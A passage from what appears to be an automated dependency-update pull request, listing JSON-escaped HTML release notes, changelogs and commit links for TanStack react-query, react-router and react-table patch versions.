href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e - Recompute \u003ccode\u003euseMutationState\u003c/code\u003e and \u003ccode\u003euseIsMutating\u003c/code\u003e results when their filters, selector, or query client change, without waiting for a mutation cache update.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/f608f933a36da30670082e90d0a56b2569290563\"\u003e\u003ccode\u003ef608f93\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11328\"\u003e#11328\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e - Allow queries with falsy errors to retry on mount when \u003ccode\u003ethrowOnError\u003c/code\u003e returns false.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11728\"\u003e#11728\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e - fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1fee0443dbeb346b8401557ca286a66cdec7ad71\"\u003e\u003ccode\u003e1fee044\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/fce89ddf7a35b14252096ff64a1217efd81b415c\"\u003e\u003ccode\u003efce89dd\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.104.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/0f15bc925db5813be6a17527988ec7d7b3c8cfc0\"\u003e\u003ccode\u003e0f15bc9\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.104.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/03e8c3955ddbf20f0a07b79982b52dfad8df5323\"\u003e\u003ccode\u003e03e8c39\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.104.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.1\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/a8ecc8d42f82c795fbe5771be5e41dee54bd7e34\"\u003e\u003ccode\u003ea8ecc8d\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/12128\"\u003e#12128\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e fix(react, preact): recompute mutation state snapshots (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/12117\"\u003e#12117\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/12199722dc3f7443b7bbb575611dce59cfd08534\"\u003e\u003ccode\u003e1219972\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/12062\"\u003e#12062\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/1fee0443dbeb346b8401557ca286a66cdec7ad71\"\u003e\u003ccode\u003e1fee044\u003c/code\u003e\u003c/a\u003e fix(query-core): clear mutations before notifying subscribers (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11470\"\u003e#11470\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e fix(react-query): retry queries with falsy errors on mount (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11328\"\u003e#11328\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11\"\u003e#11\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/ee47993724e5b71e65d9f38ae416367d2dd18395\"\u003e\u003ccode\u003eee47993\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11998\"\u003e#11998\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/0f15bc925db5813be6a17527988ec7d7b3c8cfc0\"\u003e\u003ccode\u003e0f15bc9\u003c/code\u003e\u003c/a\u003e fix(query-core): preserve union narrowing in setQueryData updaters (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11935\"\u003e#11935\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/b699b52d60e10220403673a407d95bcebeba3e81\"\u003e\u003ccode\u003eb699b52\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11849\"\u003e#11849\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/e22e7c4a27129457636a2a800f8ce19fc0c7b0e3\"\u003e\u003ccode\u003ee22e7c4\u003c/code\u003e\u003c/a\u003e chore: test TypeScript 7.1 preview and drop 5.6 (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11947\"\u003e#11947\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/TanStack/query/commits/@tanstack/react-query@5.104.5/packages/react-query\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tanstack/react-router` from 1.170.40 to 1.170.45\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/router/releases\"\u003e@​tanstack/react-router's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-router\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.170.45\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/router/commit/18154b1c45454a70aa77e9d6d27c8a6e0733d031\"\u003e\u003ccode\u003e18154b1\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/router-core\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.171.38\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/router/blob/main/packages/react-router/CHANGELOG.md\"\u003e@​tanstack/react-router's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.170.45\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/router/commit/18154b1c45454a70aa77e9d6d27c8a6e0733d031\"\u003e\u003ccode\u003e18154b1\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/router-core\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.171.38\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.170.44\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/router/commit/d6ba115d5751c75e20943f0062577cf17b446d82\"\u003e\u003ccode\u003ed6ba115\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/router-core\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.171.37\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.170.43\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/router/commit/94d6d8e49694e225cb07e2a6777633d08aeeb3c5\"\u003e\u003ccode\u003e94d6d8e\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/router-core\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.171.36\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.170.42\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/router/pull/8594\"\u003e#8594\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/router/commit/2413cc009826fba4f97b166a35a8a50a4a8fe4bb\"\u003e\u003ccode\u003e2413cc0\u003c/code\u003e\u003c/a\u003e - reduce component nesting per route match\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/router/pull/8602\"\u003e#8602\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/router/commit/efc2042c2d02a9780c3e7efe81f123d066a869eb\"\u003e\u003ccode\u003eefc2042\u003c/code\u003e\u003c/a\u003e - Links of a route that the pending navigation leaves skip deriving the destination location, and clicks and preloads follow the href a Link displays. \u003ccode\u003ebuildLocation\u003c/code\u003e now builds \u003ccode\u003emask\u003c/code\u003e and \u003ccode\u003erouteMasks\u003c/code\u003e locations from the same \u003ccode\u003e_fromLocation\u003c/code\u003e as the destination.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/router/pull/8602\"\u003e#8602\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/router/commit/efc2042c2d02a9780c3e7efe81f123d066a869eb\"\u003e\u003ccode\u003eefc2042\u003c/code\u003e\u003c/a\u003e - Fixed Link destinations that resolve to a route mask are now reused across navigations instead of being rebuilt every time. A mounted Link now follows changes to its \u003ccode\u003ehref\u003c/code\u003e and \u003ccode\u003ereloadDocument\u003c/code\u003e props, and React Links no longer each subscribe to a hydration flag.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/router/pull/8579\"\u003e#8579\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/router/commit/d35aab425b07b46e222a507c0f0239644669757b\"\u003e\u003ccode\u003ed35aab4\u003c/code\u003e\u003c/a\u003e - Cancel pending link preload timers when starting navigation to avoid redundant preloading while the destination is loading.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/router/commit/dfe3dea88a28400db1677111e2b15ae7914782c2\"\u003e\u003ccode\u003edfe3dea\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/router/commit/dfe3dea88a28400db1677111e2b15ae7914782c2\"\u003e\u003ccode\u003edfe3dea\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/router/commit/dfe3dea88a28400db1677111e2b15ae7914782c2\"\u003e\u003ccode\u003edfe3dea\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/router/commit/efc2042c2d02a9780c3e7efe81f123d066a869eb\"\u003e\u003ccode\u003eefc2042\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/router/commit/efc2042c2d02a9780c3e7efe81f123d066a869eb\"\u003e\u003ccode\u003eefc2042\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/router/commit/dfe3dea88a28400db1677111e2b15ae7914782c2\"\u003e\u003ccode\u003edfe3dea\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/router/commit/663282b0ebbc494aee3595ed95867ee29d01938e\"\u003e\u003ccode\u003e663282b\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/history\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.162.5\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/router-core\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.171.35\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.170.41\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/router/pull/8529\"\u003e#8529\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/router/commit/60b8ad1ad00812bf966a8eeee6be238c37ddad74\"\u003e\u003ccode\u003e60b8ad1\u003c/code\u003e\u003c/a\u003e - Compose only enabled route boundaries instead of rendering inactive wrapper components.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/router/pull/8568\"\u003e#8568\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/router/commit/614bc27034c8ec98747bf305ed41d4a619640949\"\u003e\u003ccode\u003e614bc27\u003c/code\u003e\u003c/a\u003e - Update TanStack Store to 0.11.2 to prevent unrelated atom reads inside subscription observers from triggering extra notifications.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/router/pull/8530\"\u003e#8530\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/router/commit/ff66a03df4816f44a48a4a37189fc4021b1c8480\"\u003e\u003ccode\u003eff66a03\u003c/code\u003e\u003c/a\u003e - Consolidate the root match context provider while preserving match context in the root shell.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/router/pull/8522\"\u003e#8522\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/router/commit/863c8a736b96746c56278a16c50554356f5523d1\"\u003e\u003ccode\u003e863c8a7\u003c/code\u003e\u003c/a\u003e - Reuse Link href classification and active/inactive results across location updates while preserving live history href formatting.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/router/commit/d521abd71c69f1ff010bb3def4d417cb5fa058cb\"\u003e\u003ccode\u003ed521abd\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/caaf32da35e250c1344a350fdd80cfc631c24b3c\"\u003e\u003ccode\u003ecaaf32d\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/router/tree/HEAD/packages/react-router/issues/8733\"\u003e#8733\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/18154b1c45454a70aa77e9d6d27c8a6e0733d031\"\u003e\u003ccode\u003e18154b1\u003c/code\u003e\u003c/a\u003e perf: lower manifest script preload priority (\u003ca href=\"https://github.com/TanStack/router/tree/HEAD/packages/react-router/issues/8212\"\u003e#8212\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/7a0672503857283614799a0b480f4a82110e5ab6\"\u003e\u003ccode\u003e7a06725\u003c/code\u003e\u003c/a\u003e chore(deps): upgrade Vitest to 5 and migrate benchmarks to the bench fixture ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/4ff63eb8a469d5f318dd31579c03c867c88f0384\"\u003e\u003ccode\u003e4ff63eb\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/router/tree/HEAD/packages/react-router/issues/8700\"\u003e#8700\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/80e2eabf482ce09aef024d463802e1c4f781c4a1\"\u003e\u003ccode\u003e80e2eab\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/router/tree/HEAD/packages/react-router/issues/8661\"\u003e#8661\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/c79c620bf479cf53d64fb301407c2206922c0b4a\"\u003e\u003ccode\u003ec79c620\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/router/tree/HEAD/packages/react-router/issues/8580\"\u003e#8580\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/f6d21de12b69781738c96cfa3b468fa65294e0ef\"\u003e\u003ccode\u003ef6d21de\u003c/code\u003e\u003c/a\u003e revert: keep server-rendered pending UI of no-SSR routes through hydration (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/ff9f753c090c2f8832a06204a1c3b56c4c5d885f\"\u003e\u003ccode\u003eff9f753\u003c/code\u003e\u003c/a\u003e fix: keep server-rendered pending UI of no-SSR routes through hydration (\u003ca href=\"https://github.com/TanStack/router/tree/HEAD/packages/react-router/issues/8643\"\u003e#8643\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/df8bbf217fd29e968fa94fd65cc7f7ede2b2c433\"\u003e\u003ccode\u003edf8bbf2\u003c/code\u003e\u003c/a\u003e docs: use new query methods (\u003ca href=\"https://github.com/TanStack/router/tree/HEAD/packages/react-router/issues/7100\"\u003e#7100\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/router/commit/efc2042c2d02a9780c3e7efe81f123d066a869eb\"\u003e\u003ccode\u003eefc2042\u003c/code\u003e\u003c/a\u003e perf(router): skip Link work for routes a navigation leaves (\u003ca href=\"https://github.com/TanStack/router/tree/HEAD/packages/react-router/issues/8602\"\u003e#8602\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/TanStack/router/commits/@tanstack/react-router@1.170.45/packages/react-router\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tanstack/react-table` from 9.2.4 to 9.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/table/releases\"\u003e@​tanstack/react-table's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-table-devtools\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.3.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/87c6bcc52a5cd614d83d698c76048b4c1c2bb8f7\"\u003e\u003ccode\u003e87c6bcc\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-devtools\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.3.1\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-table\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.3.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/table/pull/6631\"\u003e#6631\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/table/commit/3d3648f788310465e135c09fd3f803ef25a92c18\"\u003e\u003ccode\u003e3d3648f\u003c/code\u003e\u003c/a\u003e - Refresh the \u003ccode\u003eAppTable\u003c/code\u003e context when the \u003ccode\u003euseAppTable\u003c/code\u003e owner renders with new options or state, so \u003ccode\u003euseTableContext()\u003c/code\u003e consumers no longer show stale rows after \u003ccode\u003edata\u003c/code\u003e is replaced under a cached (React Compiler, \u003ccode\u003euseMemo\u003c/code\u003e, \u003ccode\u003ememo\u003c/code\u003e) \u003ccode\u003eAppTable\u003c/code\u003e element.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/2d5f5b65a98350949ac9ce7397a29ee9bbe2fd5e\"\u003e\u003ccode\u003e2d5f5b6\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/table/commit/87c6bcc52a5cd614d83d698c76048b4c1c2bb8f7\"\u003e\u003ccode\u003e87c6bcc\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-core\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.3.1\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-table-devtools\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.8\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/f1c3409bb4aae6c07ebb1cb0a0723372ed64223e\"\u003e\u003ccode\u003ef1c3409\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-devtools\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.8\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-table\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.8\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/f1c3409bb4aae6c07ebb1cb0a0723372ed64223e\"\u003e\u003ccode\u003ef1c3409\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-core\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.8\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-table\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.6\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/table/pull/6611\"\u003e#6611\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/table/commit/b9b007fa038328a795d1f3b5e8f80cea8a55a3b4\"\u003e\u003ccode\u003eb9b007f\u003c/code\u003e\u003c/a\u003e - Refactor bundled Intent skills into smaller entry points with references loaded for the current task. Keep core feature architecture and shared state directly discoverable, and move individual features, adapter compositions, and detailed migration guidance into references.\u003c/p\u003e\n\u003cp\u003eConsumers with individual skill permissions or explicit agent mappings must replace retired feature/composition IDs with their owning entry points and refresh Intent mappings. See the Agent Skills guide for the replacement paths.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/b9b007fa038328a795d1f3b5e8f80cea8a55a3b4\"\u003e\u003ccode\u003eb9b007f\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-core\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.6\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-table-devtools\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca 